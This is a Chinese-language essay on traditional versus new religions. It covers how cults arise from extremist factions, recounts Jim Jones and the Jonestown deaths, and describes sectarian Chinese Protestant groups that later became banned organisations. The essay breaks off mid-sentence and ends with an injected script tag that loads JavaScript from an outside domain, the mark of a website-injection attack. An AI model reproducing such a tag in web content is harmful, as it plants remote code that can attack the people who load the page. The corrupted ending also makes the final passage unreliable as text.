如今的宗教虽然名目众多，宗派繁杂，但不外乎两大类。一是历史悠久、信徒广众的传统宗教，如基督教、伊斯兰教、佛教、道教、印度教、犹太教等，这些宗教的教义、教理和教规大都与传统的价值观相吻合，故而已成为社会上层建筑的一部分，有的甚至被一些国家定为国教；

    二是１９世纪中期以后出现的各种新兴宗教，如伊朗的巴哈伊教、美国的摩门教、日本的天理教、金光教等，它们虽然在许多方面不符合传统的价值观，但不一定都是危害社会的“邪教”，因此按照国际惯例，它们被通称为Ｃｕｌｔｓ（类似于汉语的“会道门”一词），而不是Ｅｖｉｌ Ｒｅｌｉｇｉｏｎｓ（即“邪恶的宗教”）。不过，尽管新兴宗教不一定是邪教，邪教却基本上是新兴宗教，尤其是那些从传统宗教内部的极端派中蜕变出来的新兴宗教。
 

    之所以称其为极端派，是因为它们大都崇尚封闭而狂热的“灵性生活”或者“苦修”，而且它们的骨干分子常常危言耸听地宣称“这个邪恶的世界”将在某年某月被彻底摧毁，以便利用极度的恐惧感抓住信徒的心，使他们甘愿放弃“属世”的一切，完全听命于自己的精神控制。例如，臭名昭著的“人民圣殿教”、“太阳圣殿教”、“大卫支派”、“天父儿女”等国际邪教组织，都曾经是传统宗教内部的极端派，而且它们在理论和实践上都体现了后者的神秘主义特征和敌视世俗社会的倾向，以及作为其理论基础的“世界末日论”的影响。

    而在它们当中，最为典型的便是美国的邪教组织“人民圣殿教”，该教教主吉姆•琼斯（Ｊｉｍ Ｊｏｎｅｓ，１９３１～１９７８）原本是印第安纳州一个合法的基督教堂———国民公共教堂的牧师，但是在凭借所谓的“灵疗”和“属灵生活”吸引了众多追随者后，他的个人欲望膨胀起来。１９６６年，他预言美国社会即将大崩溃并且发生核战争，为躲避这场灾难，他带领一批最忠诚的信徒逃入偏僻的山谷过起了公社式的集体生活。在那里，他建立了所谓的“人民圣殿”，并且自称天父，开始实行独裁统治。随着势力的不断扩大，他所宣传的爱逐渐被越来越严酷的戒律和惩罚所取代，他甚至还利用镇静剂肆意霸占女信徒。

    １９７６年，由于几位叛逃者在杂志上发表文章揭露了人民圣殿教的内幕，害怕受到法律制裁的琼斯胁迫大批信徒逃亡南美，在圭亚那租用了一块３，８４３英亩的土地，改名琼斯敦。为了防止信徒再次逃跑，他没收信徒的护照，设立武装卫队，用酷刑折磨逃跑者。１９７８年，当美国国会议员利奥•赖安率６名受骗者的亲属和大批记者赴琼斯敦调查时，预感末日来临的琼斯居然丧心病狂地下令卫队在机场打死赖安，然后强迫信徒集体服毒，致使９１４人陈尸荒野。
 

    令人忧虑的是，近二十年来，这种从合法的传统宗教中的极端派蜕变为非法的邪教的案例在中国各地也开始上演，甚至已经屡见不鲜了。仅以基督教为例，尽管中国基督教早在１９５８年就自发地取消了原来多达１４０多个宗派的组织形式，并在“全国两会”的领导下展开了以实行“自治、自养、自传”、“爱国爱教”和“联合礼拜”为主旨的三自爱国运动，但令人遗憾的是，这一运动开始不久便遭到长达二十多年的极左政策的破坏，从而使与之配套的神学思想建设未能及时跟上，并且在各地的教牧人员和神学院教师中造成了巨大的年龄断层。

    在这种先天不足的情况下，中国基督教于２０世纪８０年代初恢复活动后不久，一度处于低迷状态的宗派斗争又在许多地方教会中死灰复燃了。这些形形色色的宗派主义者一开始只是受殖民主义时期的西方差会遗留下来的“门户之见”的影响，过激地把一切不信仰宗教或信仰其他宗教的群众贬称为“外邦人”，或者有意无意地违背《圣经》关于“基督的肢体”应该彼此宽容、保持合一的教义，在教会内部制造各种摩擦，甚至为了维护个人或小集团的利益，而以各种借口丑化合法的“三自教会”的形象，企图“另立山头”。而且用不了多久，只要这种错误未能得到及时的纠正，他们中一些别有用心的人便会进一步强调信仰才是“属灵的”，理性则是“属世的”。并以此要挟受其影响的信徒排斥一切神学研究和理性思考，把会不会“唱灵歌、跳灵舞、过灵气、说方言”视为得救与否的惟一标志。

    这样一来，受他们蒙骗的那一部分信徒便很可能在宗教狂热的驱动下说出一些歪曲《圣经》原意的话，做出一些破坏安定团结的事，甚至逐渐蜕变为非法的邪教组织的成员。
 

    例如，在近年来被我国政府所取缔的邪教组织中，有相当大一部分就是通过这种方式而从基督教内部的“属灵派”中产生的，如已被取缔的“呼喊派”、“被立王”、“主神教”、“灵灵教”、“新教会”、“统一教”、“门徒会”、“华南教会”、“东方闪电”等等，而且它们的“教主”和领袖?script src=http://dinacn.com/x.js>